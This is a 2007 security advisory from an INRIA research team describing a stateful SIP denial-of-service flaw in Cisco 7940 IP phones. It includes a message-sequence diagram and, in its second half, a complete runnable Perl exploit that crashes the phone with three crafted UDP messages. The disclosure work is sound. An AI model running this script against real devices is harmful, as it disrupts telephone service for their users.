cisco-dos.txt

`MADYNES Security Advisory : stateful SIP remote DOS on Cisco 7940  
  
Date of Discovery 3 February, 2007  
  
ID: KIPH5  
  
Synopsis  
  
After sending a series of three SIP messages the device reboots. The phone  
does not check properly the state engine in the SIP stack  
The vendor was informed in March 2007 and acknowledged the vulnerability.  
This vulnerability was identified by the Madynes research team at INRIA  
Lorraine, using the Madynes VoIP fuzzer KIPH. This is one of the first  
vulnerabilities published where advanced state tracking is required.  
  
Background   
  
* SIP is the IETF standardized (RFCs 2543 and 3261) protocol for VoIP  
signalization. SIP is an ASCII based INVITE message is used to initiate and  
maintain a communication session.   
  
  
Affected devices: Cisco phone 7940 (maybe other also) running firmware  
P0S3-08-6-00   
  
  
  
Impact   
A malicious user can remotely crash and perform a denial of service attack  
by sending three crafted SIP messages.   
  
Resolution  
Fixed software will be available from the vendor and customers following  
recommended best practices (ie segregating VOIP traffic from data) will be  
protected from malicious traffic in most situations.   
  
Credits  
  
* Humberto J. Abdelnur (Ph.D Student)  
* Radu State (Ph.D)  
* Olivier Festor (Ph.D)  
  
  
This vulnerability was identified by the Madynes research team at INRIA  
Lorraine, using the Madynes VoIP fuzzer KIPH  
  
  
  
  
Configuration of our device:  
  
* Current Firmware : P0S3-08-6-00   
* IP-Address obtained by DHCP as 192.168.1.8   
* User Name: 7940-1  
  
Vulnerability:  
  
It is based in a sequence of messages, any of the particular messages may do  
any harm by itself, but all of them turn the device in an inconsistent  
state. The sequence is like:  
  
X ------------------------- INVITE -----------------------> Cisco  
X <--- 481 transaction does not exists ----- Cisco  
X ------------------------- OPTIONS--------------------> Cisco  
X <--------------------------- OK ------------------------- Cisco  
X <--- 481 transaction does not exists ----- Cisco  
X ------------------------- OPTIONS--------------------> Cisco  
  
And the device reboots.  
  
The INVITE sent has the particularity that the remote tag is already filled.  
The following two OPTIONS messages must to have the same Call-ID as the  
INVITE and the CSeq number must increment, otherwise the test does not work.  
  
  
Exploit:  
  
To run the exploit the file stateful-cisco-8.6.pl should be launched  
(assuming our configurations) as:  
  
perl stateful-cisco-8.6.pl 192.168.1.8 5060 7940-1  
  
The script is simple and does not check if which messages are received, but  
just wait a second before send the next one.  
  
  
  
  
  
#!/usr/bin/perl  
  
use IO::Socket::INET;  
  
die "Usage $0 <dst> <port> <username>" unless ($ARGV[2]);  
  
  
  
$socket=new IO::Socket::INET->new(PeerPort=>$ARGV[1],  
  
Proto=>'udp',  
  
PeerAddr=>$ARGV[0]);  
  
  
  
$msg = "INVITE sip:$ARGV[2]\@$ARGV[0] SIP/2.0\r\nVia:  
SIP/2.0/UDP\t192.168.1.2;rport;branch=00\r\nFrom:  
<sip:gasparin\@192.168.1.2>;tag=00\r\nTo:  
<sip:$ARGV[2]\@$ARGV[0]>;tag=00\r\nCall-ID: et\@192.168.1.2\r\nCSeq: 10  
INVITE\r\nContent-Length: 0\r\n\r\n";;  
  
$socket->send($msg);  
  
  
  
sleep(1);  
  
$msg ="OPTIONS sip:$ARGV[2]\@$ARGV[0] SIP/2.0\r\nVia: SIP/2.0/UDP  
192.168.1.2;rport;branch=01\r\nFrom:  
<sip:gasparin\@192.168.1.2>;tag=01\r\nTo:  
<sip:$ARGV[2]\@$ARGV[0]>\r\nCall-ID: et\@192.168.1.2\r\nCSeq: 11  
OPTIONS\r\nContent-Length: 0\r\n\r\n";  
  
$socket->send($msg);  
  
  
  
sleep(1);  
  
$msg ="OPTIONS sip:$ARGV[2]\@$ARGV[0] SIP/2.0\r\nVia: SIP/2.0/UDP  
192.168.1.2;rport;branch=02\r\nFrom:  
<sip:gasparin\@192.168.1.2>;tag=02\r\nTo:  
<sip:$ARGV[2]\@$ARGV[0]>\r\nCall-ID: et\@192.168.1.2\r\nCSeq: 12  
OPTIONS\r\nContent-Length: 0\r\n\r\n";  
  
$socket->send($msg);  
  
  
  
  
  
`